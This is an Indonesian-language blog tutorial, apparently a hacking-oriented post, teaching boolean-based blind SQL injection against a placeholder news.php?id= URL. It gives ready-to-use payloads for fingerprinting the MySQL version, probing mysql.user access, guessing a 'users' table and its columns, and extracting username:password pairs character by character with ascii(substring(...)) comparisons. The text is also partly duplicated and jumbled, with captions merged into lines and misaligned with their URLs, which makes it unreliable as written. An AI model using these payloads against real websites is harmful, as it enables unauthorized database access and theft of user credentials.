Basic Blind Sql Injection
e.x
"http://www.site.com/news.php?id=3"
kemudian uji dulu apakah web ini benar vuln terhadap blind sqli dengan cara menambahkan "and 1=2" di akhir url web tersebut untuk memberi nilai false.
ok kita anggap saja web tersebut vuln terhadap blind sqli, nah langkah selanjutnya yang harus dilakukan adalah dengan mencari versi dari mysql nya.
untuk dapat mengetahui versi mysql kita berikan perintah "and substring(@@version,1,1)=4" untuk mencari tahu apakah versi mysql nya "4".
atau "and substring(@@version,1,1)=5" untuk mencari tahu apakah versi mysql nya "5".
untuk mengetahuinya kita tambahkan "and (select 1)=1" di belakang url.
sekarang kita akan melihat apakah mysql.user bisa di akses dengan perintah berikut:
sekarang kita akan memasuki tahap yang paling di tunggu tentunya, yaitu tahap pengecekan nama tables dan columns.
disini saya akan mencoba apakah table "users" ada di dalam database web tersebut.
ok yang harus dilakukan adalah seperti ini :
disini kita anggap saja kalau table "users" ada di dalam database, selanjutnya kita akan mengintip isi dari table "users" tersebut atau "columns" dari table tersebut.
kali ini saya akan mencoba columns "username" dan "password"
begini nih perintahnya :
nah ternyata columns username dan password ada, maka selanjutnya kita akan melihat apa isi di dalam columns tersebut, heheheh..
caranya dengan mencari nilai true yang paling akhir,
caranya seperti berikut :
selanjutnya kita cari apa karakter kedua nya, caranya dengan mengganti angka 1,1 menjadi 2,1 .
begini nih :
e.xkalau web tersebut benar vuln sqli maka content dari web tersebut akan ada yang hilang atau web tidak diload dengan semestinya (false). untuk melihat nilai true nya tinggal ganti "and 1=2" menjadi "and 1=1"
http://www.site.com/news.php?id=3 and 1=2
ok kita anggap saja web tersebut vuln terhadap blind sqli, nah langkah selanjutnya yang harus dilakukan adalah dengan mencari versi dari mysql nya.
untuk dapat mengetahui versi mysql kita berikan perintah "and substring(@@version,1,1)=4" untuk mencari tahu apakah versi mysql nya "4".
atau "and substring(@@version,1,1)=5" untuk mencari tahu apakah versi mysql nya "5".
http://www.site.com/news.php?id=3 and substring(@@version,1,1)=4setelah kita tahu versi berapa mysql nya sekarang kita cari tahu apakah perintah "subselect" dapat di eksekusi.
atau
http://www.site.com/news.php?id=3 and substring(@@version,1,1)=5
untuk mengetahuinya kita tambahkan "and (select 1)=1" di belakang url.
e.xjika website di load dengan normal atau "true" maka subselect dapat di eksekusi :)
http://www.site.com/news.php?id=3 and (select 1)=1
sekarang kita akan melihat apakah mysql.user bisa di akses dengan perintah berikut:
e.xkalau website berjalan dengan normal berarti mysql.user dapat di akses, dan kita bisa menggunakan fungsi load_file() dan OUTFILE.
http://www.site.com/news.php?id=3 and (select 1 from mysql.user limit 0,1)=1
sekarang kita akan memasuki tahap yang paling di tunggu tentunya, yaitu tahap pengecekan nama tables dan columns.
disini saya akan mencoba apakah table "users" ada di dalam database web tersebut.
ok yang harus dilakukan adalah seperti ini :
e.xkalau web di load dengan normal atau "true" berarti table "users" ada di dalam database, sebaliknya kalau web di load dengan error atau sebagian content hilang atau "false" maka table "users" tidak ada di dalam database dan kita harus mencoba nama table lainya :)
http://www.site.com/news.php?id=3 and (select 1 from users limit 0,1)=1
disini kita anggap saja kalau table "users" ada di dalam database, selanjutnya kita akan mengintip isi dari table "users" tersebut atau "columns" dari table tersebut.
kali ini saya akan mencoba columns "username" dan "password"
begini nih perintahnya :
e.xkalau page di load dengan true berarti columns tersebut ada di dalam table users, tapi kalau nilainya false maka kita harus mencoba nama yang lain :)
http://www.site.com/news.php?id=5 and (select substring(concat(1,username),1,1) from users limit 0,1)=1
e.x
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
nah ternyata columns username dan password ada, maka selanjutnya kita akan melihat apa isi di dalam columns tersebut, heheheh..
caranya dengan mencari nilai true yang paling akhir,
caranya seperti berikut :
e.xkalau web di load true maka kita ganti angka "80" menjadi lebih besar
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
e.xpage masih tetap saja true, kita coba lebih angka lebih besar lagi
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
e.xwah ternyata di angka 100 web menjadi false... maka kita turunkan angkanya.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>100
e.xnilainya true, nah berarti karakter pertama adalah hasil konversi ascii dari angka 99 yaitu "c"
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
selanjutnya kita cari apa karakter kedua nya, caranya dengan mengganti angka 1,1 menjadi 2,1 .
begini nih :
e.xnilai true maka ganti angka 99 menjadi lebih besar
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
e.xnilai false maka turunkan 105 menjadi lebih kecil sama seperti cara sebelumnya.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>105
Belum ada Komentar untuk "Basic Blind Sql Injection"
Posting Komentar